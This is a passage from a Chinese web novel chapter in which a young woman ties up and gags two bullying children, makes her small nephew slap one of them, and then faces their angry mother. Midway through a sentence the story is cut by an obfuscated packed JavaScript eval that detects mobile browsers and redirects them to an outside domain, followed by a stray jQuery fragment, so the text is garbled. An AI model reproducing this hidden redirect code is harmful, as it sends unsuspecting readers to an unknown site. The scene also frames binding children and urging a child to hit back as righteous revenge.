陆晨晨脸上堆叠满笑意,手里握着粗麻绳,步步朝姐弟俩逼近,白岩郎吓得直往白大妮儿身后躲,惊慌道:“姐,姐,她她她过来了,她真的要打断我们的腿。”
说实话,眼下这状况,其实白大妮儿也有些慌了,她也不敢确定,陆晨晨会对他们做什么,但仍然死鸭子嘴硬,“怕怕怕什么,她不敢。”
话音刚落,陆晨晨已经走到两人跟前,单手捏着粗麻绳一端,另一只手分别提起白大妮儿和白岩郎绕着绳子转了一圈,然后,两个人就被绑在了一起。
手脚都动弹不了。
白大妮儿红着眼睛,嗓音尖锐地喊道:“狐狸精,你要干什么?你要是敢打我们,我妈不会放过你的。”
白岩郎哭出两个大鼻涕泡,“呜呜呜,放开我,我不要零食了,我想回家,我想我妈。”
两个人被绑在一起,挨得很近,白大妮儿快被白岩郎那冲破云霄的哭声吵聋了,没好气道:“闭嘴,不许哭了,再哭我打死你。”
白岩郎委屈地瘪了瘪嘴,随即哭得更大声了,“嗷……妈……”
绑好那姐弟俩后,陆晨晨转身朝沈轻舟招了招手。
“轻舟,你过来。”
“小姨。”沈轻舟怯怯地走过来。
眼角还挂着泪,两侧脸颊不知道是被冷风吹的,还是被姐弟俩打的,红得有些不正常。
陆晨晨弯腰拍了拍沈轻舟又瘦又小的肩膀,指着白大妮儿和白岩郎,谆谆善诱道:“小姨给你做主,他们俩刚才是怎么打你的,现在给我加倍打回去。”
沈轻舟惊讶地抬起头来。
白大妮儿:???
白岩郎,“嗷……妈啊……”
白大妮儿,“吵死了。”
白岩郎,“嗷……”
沈轻舟面露为难,“小姨,这样不太好吧。”
陆晨晨,“有什么不好的,有恩报恩,有仇报仇,天经地义的道理。”
沈轻舟抿了抿嘴唇,走到白大妮儿跟前。
白大妮儿目露凶光,恶狠狠地威胁道:“小拖油瓶,你要是敢打我,你看我妈打不死你的。”
“哟嗬,都这时候了,小嘴还叭叭得挺厉害。”陆晨晨仍然是那副人畜无害的笑眯眯模样儿,随手从雪地里捡了块破布,揉巴揉巴塞进白大妮儿嘴里,然后扭头对沈轻舟道:“好了,清净了,打。”
“嗯。”沈轻舟不想惹陆晨晨不高兴,牙一咬,心一横,抬手在白大妮儿脸上轻轻打了一下。
白大妮儿快气死了,气得眼珠子发红,紧握拳头,她想骂人,可嘴里塞着团破布,什么话都说不出来,只能发出“呜呜”的声音。
白岩郎瞬间噤声,像只受惊的鹌鹑似的缩在那里,尽可能减少存在感。
他怕陆晨晨也往他嘴里塞块破抹布。
“沈轻舟,你昨晚没吃饱饭吗?给我狠狠打回来。”陆晨晨眼神一厉。
沈轻舟心里一颤,做错了事情似的,低着头,手指无措地揪着衣角。
小姨很喜欢笑,笑起来特别好看,从昨天直到刚才,小姨一直笑眯眯的,对他总是一副和颜悦色的样子,他还没见过表情如此严厉的小姨。
所以现在,小姨是觉得他太懦弱,所以不喜欢他了吗?
不要!他好不容易才有了小姨。
深吸一口气,鼓足勇气,沈轻舟猛地举高手臂,用力挥了下去。
三岁的孩子力气并不是很大,但用尽全力扇在脸上,还是挺疼的,白大妮儿脸上瞬间肿起五道手指印子。
“呜呜呜……”听得出来,白大妮儿骂得很脏很凶,可是手脚都被捆住,她用尽全力也挣不开,只能拼命晃脑袋,两根羊角辫都晃散开了,气得差点儿背过气去。
龙傲天突然冒出来,皱着眉头,不太赞同道:“以暴制暴,这样教育孩子,不太好吧。”
“Youcanyouup,你行你来。”陆晨晨眼风凉凉,“你不来,就闭嘴。我见过的无赖,比你系统Bug的次数还要多,对付无赖,就要拿出比无赖更无赖的手段,这俩小无赖,再不给他们点儿颜色瞧瞧,迟早把自己作进狗肚子里。”
上一世,这作恶多端的姐弟俩最后落在了黑化的反派大佬手里,被剁成肉泥喂狗的下场可不是普通的凄惨。
这一世,放任他们发展下去,下场大抵也好不到哪里去。
龙傲天默了默后,说道:“那啥,我局里还有点儿事儿,我先走了,你就当我刚才放了个屁吧,回见哈。”
最后,白大妮儿和白岩郎是嚎啕大哭着离开的,鬼哭狼嚎地跑回了家。
白艳丽正在家里生闷气。
昨晚在陆晨晨那里没讨到任何好处,反而还落了一顿揍,从昨晚到现在,心里一直有股气儿不顺,无处发泄,结果姐弟俩又哭得稀里哗啦地跑回了家,哭得跟死了亲娘似的,白艳丽瞬间火冒三丈。
特娘的,这山明村竟然还有哪个不长眼的东西敢欺负她白艳丽的儿女?她去刨了他家祖坟!
白岩郎哭得直打嗝,上气不接下气地说了七个字,“呜呜呜……小拖油瓶……呜呜呜……他小姨。”
又是陆晨晨。
白艳丽的怒火登时消散大半。
可是忍气吞声吃闷亏也不是她的作风,想了想,顺手拿了一张铁锹,给自己壮势,然后带着一双哭丧的儿女出了门,要去找陆晨晨讨个说法。
***
陆晨晨和沈轻舟正在家里吃早饭。
陆晨晨刚剥开一个煮鸡蛋放进沈轻舟面前的粥碗里,就听院子里忽然响起一阵“乒乒乓乓”的动静。
紧接着,就听白艳丽扯着嗓子嚷道:“陆晨晨,你个小狐狸精,吃了熊心豹子胆了你,有本事欺负我白艳丽的闺女儿子,你给我出来,老娘今天跟你拼了。”
闻声,陆晨晨抬头,往窗外看了眼。
白艳丽叉着两条腿,气急败坏地站在她家院子里破口大骂,右手拿着一张铁锹,左手牵着白岩郎,表情狰狞得好像要吃人。
白大妮儿顶着满头被风吹得张牙舞爪的头发在旁边儿抹眼泪。
沈轻舟顿时紧张起来,“小姨,我后妈又来了,手里还拿着铁锹,肯定是因为今天早晨我打了大妮儿姐姐和岩郎哥哥来的。”
“真晦气。”陆晨晨叹了口气,放下筷子,站起身,“一大清早就阴魂不散,不让人清闲。”
“呦,我当是哪来的野狗呢,大清早跑别人家里汪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718358|173832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
汪乱叫,没点儿死数。”陆晨晨抠着耳朵推门走出来,看到白艳丽,笑得纯良无害道:“原来是大婶儿您呐,您吃早饭了吗,要不要进屋一起吃点儿?”
白岩郎晃了晃白艳丽的胳膊,小声说道:“妈,妈,小拖油瓶的小姨骂你是野狗。”
白艳丽脸色黑沉,“我没聋,我听到了。”
白岩郎抬起灰皴皴的棉袄袖子抹了抹鼻子下方两道长鼻涕,吸着空气里的饭香味儿,咽着口水提议道:“好香啊,妈,我饿了,小拖油瓶的小姨让我们一起进屋吃早饭,要不我们进去吃点儿吧。”
“吃吃吃,你就知道吃。”白大妮儿猛地上前在白岩郎后脑勺上扇了一巴掌,恨铁不成钢,愤怒道:“我们是来报仇的。”
“可是我饿,而且味道这么香,他们肯定在家吃好吃的。”白岩郎捂着头,委屈巴巴。
白大妮儿道:“你傻啊,你以为她会那么好心,还请你吃早饭,你不怕你脚刚迈进屋里,就被她套上麻袋扔河里去。”
陆晨晨摇了摇头,叹息道:“啧,小小年纪,怎么把人想得这么坏。”
“你本来就是个坏女人,狐狸精。”白大妮儿双手叉腰,梗着脖子呛道。
仗着有个无赖泼妇妈,白大妮儿平时在村里都是横着走,结果今天早晨在陆晨晨手里吃了那么大一个亏,她现在对陆晨晨成见很深。
“妈,该死的小拖油瓶和他狐狸精小姨欺负我们,你快去撕她头发,挠烂她的脸。”
白艳丽恨恨地咬了咬牙。
她何尝不想扑上去撕陆晨晨的头发,挠烂那张年轻漂亮的脸。
如果实力允许,那小狐狸精还能全须全尾地站在这里?她早就把她骑在身下,抡圆胳膊,朝着那张漂亮得令人讨厌的脸左右开弓了。
可是昨晚发生的事情让她有所顾忌,不敢轻举妄动。
她怎么都没想到,这个平时在城里娇生惯养,看起来柔弱单薄的年轻女孩儿,力气竟然那么大,她手腕子这会儿还疼唧唧的呢。
经过昨晚那一出儿,动手是绝对不敢动了,白艳丽把铁锹重重往雪地里一杵,站在道德制高点上,指着陆晨晨的鼻子,痛心疾首地骂道:“他们两个都还是孩子呢,就算是犯了天大的错儿,你一个大人,也不应该动手打两个孩子啊,你简直不要脸,良心都让狗吃了。”
“你看看啊,你给我闺女把两边儿脸都呼肿了。”
说着,白艳丽猛地把白大妮儿往前一推。
白大妮儿毫无防备被亲妈推了一把,差点儿一头扎进陆晨晨怀里,站稳脚跟后,连忙如临大敌地往后退了好几步。
“妈,你推我干啥?烦气。”白大妮儿烦得很,扭头冲白艳丽发起脾气。
白艳丽不知受了什么刺激,忽然把铁锹往地上一扔,转身跑出去,边伸手抹着眼泪,边扯着嗓门儿,哭天抢地地嚎。
“哎呦,我不活啦,大家都快来看啊,这也太欺负人了……陆晨晨她一个大人,动手打我两个孩子,可怜我那两个年幼的孩子,根本毫无还手之力,被打得差点儿没了半条命啊,我不想活了,实在太欺负人了,大家快来给评评理啊。”
陆晨晨眨了眨眼。
啧,又演上了。